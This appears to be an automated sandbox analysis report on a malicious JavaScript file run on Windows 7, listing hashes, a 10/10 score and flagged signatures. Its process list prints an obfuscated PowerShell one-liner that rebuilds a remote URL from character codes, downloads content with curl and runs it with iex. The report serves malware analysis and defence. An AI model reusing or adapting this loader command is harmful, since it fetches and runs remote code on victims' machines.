Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20241023-en -
resource tags
-
submitted
21-12-2024 15:00
General
-
Target
6f21423518630c933097530dd6c1927464be1165d6aa2c6afc0e669311522902.js
-
Size
161KB
-
MD5
9b00d7834b5765e9f4abadf7157a4a44
-
SHA1
4baa4efc8f3ee91616b8789d7395aa160eeff656
-
SHA256
6f21423518630c933097530dd6c1927464be1165d6aa2c6afc0e669311522902
-
SHA512
5b7283180511950e039c3745d641cd307a8c59310073a08ec749b8bb566e7acd4aa09f20ea5f91c7a550bc303e0a7d15d25e6a9263d754c0dc38dc0c0bc037d1
-
SSDEEP
1536:nwhup+uA4hs3qk2EcsdminklgHXbfHSdDTA4hs3qk24csdminklgHXbfHSdDscst:nKuyKsnjramQsnjraNsnjra2TL
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\6f21423518630c933097530dd6c1927464be1165d6aa2c6afc0e669311522902.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $fwsiug='ur' ;new-alias printout c$($fwsiug)l;$rjkzwhcg=(5332,5343,5351,5335,5337,5332,5352,5351,5356,5289,5351,5285,5332,5280,5350,5345,5346,5281,5283,5280,5346,5338,5346,5297,5349,5295,5343,5339,5344,5350,5349,5284,5283);$tyxwsdh=('bronx','get-cmdlet');$nahfexyducbgr=$rjkzwhcg;foreach($pbsgyfru in $nahfexyducbgr){$hcaugo=$pbsgyfru;$biaqfluxvoe=$biaqfluxvoe+[char]($hcaugo-5234);$iswuloxtygeda=$biaqfluxvoe; $egqdfhuonpzsl=$iswuloxtygeda};$qmxifuwvkpsa[2]=$egqdfhuonpzsl;$pvueqbfwz='rl';$ytnibz=1;.$([char](9992-9887)+'e'+'x')(printout -useb $egqdfhuonpzsl)1⤵
- Process spawned unexpected child process